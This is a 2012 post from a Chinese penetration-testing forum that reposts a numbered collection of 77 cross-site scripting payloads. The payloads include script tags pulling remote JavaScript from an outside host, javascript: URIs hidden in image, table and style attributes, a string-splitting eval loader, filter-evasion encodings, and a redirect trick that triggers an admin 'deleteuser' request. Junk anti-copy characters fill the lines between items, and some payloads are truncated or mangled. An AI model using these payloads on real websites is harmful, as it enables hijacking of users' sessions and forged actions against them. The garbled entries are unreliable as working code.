中国网络渗透测试联盟
标题:
xss跨站脚本攻击汇总
[打印本页]
作者:
admin
时间:
2012-9-5 14:56
标题:
xss跨站脚本攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
8 D4 Q$ x+ n" X! U+ ~
6 ^+ c8 z q7 c: Z
(1)普通的XSS JavaScript注入
& C7 u& l- A/ |" g/ l
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
/ D! @% S2 Y' q
) ~3 X! m. F9 q9 k. V+ b* S
(2)IMG标签XSS使用JavaScript命令
' \! Z3 w& D: o5 v3 L7 C
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
, B, f! f P4 x" C$ _
( ?9 P5 Y- T; @; K: _
(3)IMG标签无分号无引号
/ P2 J: L, U! i/ w8 D
<IMG SRC=javascript:alert(‘XSS’)>
+ T% D1 F. [1 p/ p' F
! k8 G* y* \! q/ f/ e* F; ?
(4)IMG标签大小写不敏感
5 o" H, n D+ r4 ?) u
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
, T4 W, | D7 b: u; x
# x+ d1 a- X, w/ P% f* i1 H8 l' s3 Y
(5)HTML编码(必须有分号)
# D5 ]' _' ` l2 \: I3 r
<IMG SRC=javascript:alert(“XSS”)>
. R# [+ D! V0 @( c/ X u: u5 R
; J4 _& V. C: F$ k% l
(6)修正缺陷IMG标签
/ e$ Z: D, H3 O
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
! V! N" f8 J0 h0 G/ o0 k
7 T$ X; V" X5 g6 a# C0 k
(7)formCharCode标签(计算器)
- c; \/ N, t! ~' n! R; l% w* ?0 c
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
9 h% v& |4 ]- {2 w5 G2 _
4 U# F1 X. y! z+ y! i
(8)UTF-8的Unicode编码(计算器)
1 ~) c* h$ ^& H% B1 m% b# v! {
<IMG SRC=jav..省略..S')>
6 i5 j, e6 d2 l, }+ Z
" r: z' Y) M) {& a9 L% k( g
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
2 U6 R8 _2 R, S/ t8 W' x7 j. e
<IMG SRC=jav..省略..S')>
2 d* k3 X. P5 o0 }" @3 Z- q1 F
- K2 h* U# Y& {
(10)十六进制编码也是没有分号(计算器)
# x& X2 {- O, d/ |5 p
<IMG SRC=java..省略..XSS')>
5 T) p6 s1 W) c. Y8 f- E
" G2 ?( a4 Q4 t' l1 S, ?" N3 \
(11)嵌入式标签,将Javascript分开
& l q( ~6 o _
<IMG SRC=”jav ascript:alert(‘XSS’);”>
, j9 Y$ i+ |/ e; j: ~ t1 p* A+ U
- i( e/ z0 |8 ?& B
(12)嵌入式编码标签,将Javascript分开
# n% ~/ D; g6 s) }/ y7 L
<IMG SRC=”jav ascript:alert(‘XSS’);”>
- r& n9 ~- z9 Z$ x
! C6 h j2 t u/ V0 Z
(13)嵌入式换行符
2 |) j2 f" R2 z! {2 K4 |
<IMG SRC=”jav ascript:alert(‘XSS’);”>
4 \( F' B0 q# ?) }- ~
( v# [" S! K' z! d j
(14)嵌入式回车
( I8 J) w* O4 x X4 Y) `
<IMG SRC=”jav ascript:alert(‘XSS’);”>
; v! ]. h! k; Q8 |
# \5 A5 T( y6 i& o
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
. t$ f' Q. y* \7 [& h
<IMG SRC=”javascript:alert(‘XSS‘)”>
0 e3 g& k; P; P2 z" H/ S2 }7 F
* W! ^5 e: ?7 ^; ?8 [/ w; r; t
(16)解决限制字符(要求同页面)
, ^6 e! s+ P* K' W+ Y* E
<script>z=’document.’</script>
: m3 P4 T& Y1 q0 Z: z+ T+ H$ Y) v. H5 P
<script>z=z+’write(“‘</script>
3 ?1 a6 p# Y* A+ Q4 O, J
<script>z=z+’<script’</script>
" H5 l% |# p8 S$ Y) B
<script>z=z+’ src=ht’</script>
4 D1 |6 k9 d$ c3 t X8 ?
<script>z=z+’tp://ww’</script>
" U1 d8 j& f( v! ?6 G+ k
<script>z=z+’w.shell’</script>
1 U U. Y' J8 _9 g1 G3 E6 i
<script>z=z+’.net/1.’</script>
, V5 q5 z: ?$ v- O. G. \3 l
<script>z=z+’js></sc’</script>
8 j, {; d/ ], R* ~5 F2 C
<script>z=z+’ript>”)’</script>
( D' U; i0 X) _: D6 `
<script>eval_r(z)</script>
" s* }5 w% h; V1 h7 Z
" y. j. A M- j7 h( Q" {
(17)空字符
; A% Q, n* @% Z" D& t Y- r, g7 S
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
/ P# \$ a$ b0 M5 ^, {! C, w
5 e6 s9 c r1 K7 t/ |& v
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
; u+ U9 I+ a. P9 [
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
" N$ i. D( d* ` b1 {0 w. L
4 R- K0 j6 D/ d
(19)Spaces和meta前的IMG标签
; P/ |' [- r$ q. [( e
<IMG SRC=” javascript:alert(‘XSS’);”>
8 J( F* C5 s9 |# V ?& h+ Y% {* M
/ H. H& y- i% m" ^7 K: R6 n
(20)Non-alpha-non-digit XSS
% |0 ]6 c: \; z
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
3 D7 `; @( R& n$ d
, z' o% R+ \3 Y0 E( }2 e9 J
(21)Non-alpha-non-digit XSS to 2
0 p3 `1 }9 V/ l0 G- Q8 j7 [
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
' V4 E+ o# g0 `7 \5 k, g
4 ~8 ~4 z+ S/ c% B2 R1 n% R) j
(22)Non-alpha-non-digit XSS to 3
9 J) [( T# P+ B! `6 {
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
, h4 U. Z0 ~3 m) M. {! @
7 Y6 a' N. Y+ B1 B# l& L
(23)双开括号
5 ]! [$ Q' M) A( O
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
/ P9 Q( m' V! V' H; Y
* v/ `5 o* N1 ~
(24)无结束脚本标记(仅火狐等浏览器)
. R$ ?. Q# L* E; M
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ W8 Z' \& @" _; Z4 ~! b+ a
9 Z! Y, p C# a3 D( d+ j
(25)无结束脚本标记2
) |; s: h2 I) h! g, h
<SCRIPT SRC=//3w.org/XSS/xss.js>
* Q9 c5 {7 v" r* [6 M
$ j% {6 h1 b0 v- L9 f6 g0 p
(26)半开的HTML/JavaScript XSS
R# E: E/ C) O$ _. a
<IMG SRC=”javascript:alert(‘XSS’)”
' X! q Q& c/ Y: b
2 T+ s# i* L1 T
(27)双开角括号
& v6 _4 G% r3 _& E8 H6 i; T
<iframe src=http://3w.org/XSS.html <
0 m# d9 |4 F' k, p4 I1 G
; V% a# O2 F5 n
(28)无单引号 双引号 分号
( u B7 H; ^ k
<SCRIPT>a=/XSS/
0 t$ L9 D- f/ o, b. _
alert(a.source)</SCRIPT>
! Z8 N" h+ l. N) T
+ L% a* I' m# x0 t$ A, U0 H4 ~
(29)换码过滤的JavaScript
5 n$ d. O6 G- J. d, P
\”;alert(‘XSS’);//
9 Q' @* @1 M5 w8 V' z! S
4 T. R9 l, K; e1 V5 A. a. C/ w# n
(30)结束Title标签
, Y; z$ [8 l: i A
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
4 t) I2 H2 \4 [! S3 N. p9 |
. ^3 Z& I. X) z- i
(31)Input Image
" c% }" J( t; L1 M
<INPUT SRC=”javascript:alert(‘XSS’);”>
) u5 K0 u7 D8 I$ V h$ ]: T# e/ D
, q( z( F8 e0 G/ T8 c
(32)BODY Image
' h, |8 F' x; w- h# x5 ]
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
. x; f6 c4 q5 X7 W y4 t% j
7 G. a1 |' [" K! @! c. U: ~
(33)BODY标签
o! L; g- u$ z. H8 {# H
<BODY(‘XSS’)>
A9 \% p- V: d* D( Z- U, F
- Z# Y3 {. m0 G. Z$ j5 i; {, a
(34)IMG Dynsrc
- K1 d; g# A1 `0 `' L) b# R
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
' O% E6 R9 S) l: W+ k
# V8 g% R- v, E/ O6 j, b& f" d
(35)IMG Lowsrc
( K! A+ c M+ `4 O6 G2 w
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
" {: \9 Q/ \0 ^3 w
2 i5 W3 Y! ]3 g8 J- e. W( c9 J$ ~
(36)BGSOUND
! m1 i- N& B+ a' j
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
# n$ f+ X# ^/ g# [8 V7 P6 D( s
3 E8 A6 @+ c# p6 V# j
(37)STYLE sheet
0 K( U1 u3 E2 {$ o
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
^- K* m, ] h3 _+ l7 [5 ?
0 v+ K- o6 E4 J" v1 v9 o
(38)远程样式表
! A$ k; p, Q5 A2 `7 a6 P( H2 d% d7 L
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
) C J, w$ h" A8 ^
5 P. G5 y3 `# J! H% z1 _
(39)List-style-image(列表式)
4 v; v1 @4 Y% ]. ^$ i j
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
: Z6 `0 D# S7 ~* y+ S
a' _6 y8 b7 `% J
(40)IMG VBscript
% l+ O1 r* [; ?' ^
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
2 a% {6 I% T. f$ Q* W* I
9 V* P$ u9 S3 N1 G! _
(41)META链接url
+ o0 g& s1 A, U
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
3 g/ I1 f0 ?/ U0 O$ N
) b) k6 Z+ ?( G0 C' |% A& w% N
(42)Iframe
" U1 U% P( Z+ W* |; a
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
# V( L! R5 g8 {! ~8 Y: `9 i9 ^
. U( T! o8 r- x3 D3 n h- V4 v' F
(43)Frame
! a! C2 N- D3 `9 d' S- p- m
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
. c% e. Y9 Z* d8 m( ^9 w
) w+ B% ~1 s7 n& w. h0 `4 r0 @
(44)Table
9 [7 R8 T3 P3 D. |% j
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
7 \+ D/ u' f, W/ g7 g
) E' z# k* G+ v5 f8 ]4 u7 z9 }
(45)TD
6 C! ^* v; [2 ?1 t$ I0 ^: N' p4 y
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
" R X/ {" s# T
7 U/ m. k) E0 @5 j
(46)DIV background-image
9 `* s' F; c7 r1 P7 b7 Y+ ^
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
5 T) L$ f: j! X* P! c. }
+ u) j$ x1 t" u" l: E. W) ^( z
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
9 O4 w' [& ] Q+ B
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
' ^* W9 H- [% P6 x- O4 b
) e9 h: g. ^! B
(48)DIV expression
. C& p0 s# R9 p( s% Z; K1 {
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
0 b% y& T" {+ x! B! Y# P
/ ?) \9 [! g8 Y4 R( o
(49)STYLE属性分拆表达
7 r& j- y3 n& R7 C6 [
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
2 T$ }0 `0 M% H% r) [/ S
7 |( p+ I4 {5 D; ]0 H
(50)匿名STYLE(组成:开角号和一个字母开头)
6 y* F' F8 w* r
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
2 ]7 S( m( e& M, Q
/ K# A* v9 G" {
(51)STYLE background-image
. i9 Q2 o: `$ x
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
7 _) ~! f0 Y5 l- w! k7 f2 v3 u% x
+ e3 w; X5 ]: [
(52)IMG STYLE方式
. N3 A: y- c0 S5 o/ G+ g+ @
exppression(alert(“XSS”))’>
) f* | L4 ?$ E3 y. r8 l
. R3 N. w* d+ h: z9 O
(53)STYLE background
; s z4 J9 u* J& p0 p! C) e) F! t
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
$ F9 B7 \; \3 b
^$ t# @3 Z0 [ h; a( n
(54)BASE
: W7 e& [) ?& Q
<BASE HREF=”javascript:alert(‘XSS’);//”>
- s; j" I/ F6 }8 D& }# v
}# @+ c# Z, {3 f5 B ?
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
" V# f! C( V2 b3 F
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
! x- {0 m: y o# H* ~: R: `; O
: D) s9 o7 r5 Y4 x% }# s
(56)在flash中使用ActionScrpt可以混进你XSS的代码
7 L! q4 Z& I. s7 x
a=”get”;
% q8 F6 W% J6 R& h
b=”URL(\”";
% L# Q6 J7 l4 d- R5 W
c=”javascript:”;
7 S9 {3 {; P: i% ?! F5 }1 ~
d=”alert(‘XSS’);\”)”;
+ f8 l5 @1 P* s L
eval_r(a+b+c+d);
/ a( M5 C& X! Y4 Y- U
/ ]; l6 n1 p: P! x
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
6 [$ R7 c% f3 C. B" S- a
<HTML xmlns:xss>
; e$ M ^% [5 y
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
) a4 K; K9 i( D- Q, P+ P
<xss:xss>XSS</xss:xss>
0 K' O: d: M# U
</HTML>
- c v( H! n/ K0 z, R9 I( o. t( ]
- k4 s$ ~, ? q6 ~
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
3 ]/ C% D) ^ B6 Q
<SCRIPT SRC=””></SCRIPT>
2 q' d* ]9 k% I* a$ I% E' F$ U
* n& t( k6 M1 x% l% k* s; j6 @1 X$ R
(59)IMG嵌入式命令,可执行任意命令
% f, J# q ~+ }8 O- H2 p
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
, @" W3 u% Z0 U2 f9 \1 `2 D- O
/ u1 A! h" w- D' }0 \
(60)IMG嵌入式命令(a.jpg在同服务器)
! G6 W/ U5 D' } x5 \) y
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
/ A. E. n/ R; r7 B
0 L" a7 c) Y6 V+ ]
(61)绕符号过滤
1 o- c$ \, k& j V- U
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
. p- }+ z% `: F# u+ Q
! n2 l9 A0 X) |7 S/ u
(62)
/ p( v* M# }, T6 r
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
% E* H2 v5 A8 m4 A0 D1 y8 N: w
' }% V& @9 V" q
(63)
: A- R, F/ E4 b& M7 q1 R
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
/ i- B6 Q; h: b d, e: i
. b, y) P% j6 j- ^+ h, T
(64)
5 p3 \3 z. H* h' H
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
( T+ a* Q* m( D9 S7 p. w7 z
9 F# v! Z9 r$ h9 m7 f
(65)
6 q- J+ O& o8 m) w+ q# \2 N
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
0 d: W9 L O8 ]( {) z
5 m1 n0 {/ M4 a( }' ?" R( S
(66)
3 w- q1 o1 F+ b$ F- f3 j P; s5 R
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
+ j u6 x% B/ M
0 H6 c) r% ~- H3 \ {' S6 O9 H% V
(67)
% S3 W9 b7 C' `3 H
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”></SCRIPT>
9 Q4 ?2 ?" k- G8 ^7 A: N# s" [
6 x8 y' L" N0 G8 v1 e0 U
(68)URL绕行
$ z# S/ e; T! b% z
<A HREF=”
http://127.0.0.1/
”>XSS</A>
9 ^2 t- X4 O4 K( C1 G3 f
! l2 l3 w) X- E6 z' K5 E
(69)URL编码
* J' u, Q' A7 e* h E
<A HREF=”
http://3w.org
”>XSS</A>
& M* p `, e5 f+ A0 [* e( A7 y
) ?. v$ S7 c0 ~8 W$ ]. T3 y
(70)IP十进制
H% A6 h& Y( ] i; z T
<A HREF=”http://3232235521″>XSS</A>
7 j8 G3 J! c+ f7 }9 ~+ i+ `
% D6 B$ f( h/ s% f8 W
(71)IP十六进制
& E8 N9 o3 C. G: |
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
; H% [- j7 d* k& _ i$ l7 O% E
. G' j4 A0 g2 j
(72)IP八进制
& z6 X* X$ d" L- P
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
* W# S: ^# i4 _" ?: K
4 u: c6 R1 _5 l6 ^" k0 y, e
(73)混合编码
$ F" |' r, U7 V
<A HREF=”h
2 ~' N0 ~4 y! t. u G7 Q9 X, ^
tt p://6 6.000146.0×7.147/”">XSS</A>
* J. w: x4 c& g& B* F% m
( C) W5 L3 ^9 g+ N
(74)节省[http:]
/ S. r7 Q( q$ S" W2 Q
<A HREF=”//www.google.com/”>XSS</A>
7 t, Y3 ~3 R4 P* @7 y6 i
; U; N" }$ I7 B0 b( E, ]2 q$ X9 e
(75)节省[www]
/ f# w* |* `: w# Q8 U
<A HREF=”
http://google.com/
”>XSS</A>
- ~+ c1 W' K l
/ s* T$ b) d8 a& N x8 B1 ~
(76)绝对点绝对DNS
% U, F9 @7 q% W5 W
<A HREF=”
http://www.google.com./
”>XSS</A>
2 [: h/ k; Y( \( `
8 Q/ h4 S! M! x
(77)javascript链接
2 |0 N3 J$ i! H7 ?5 n) L% r
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2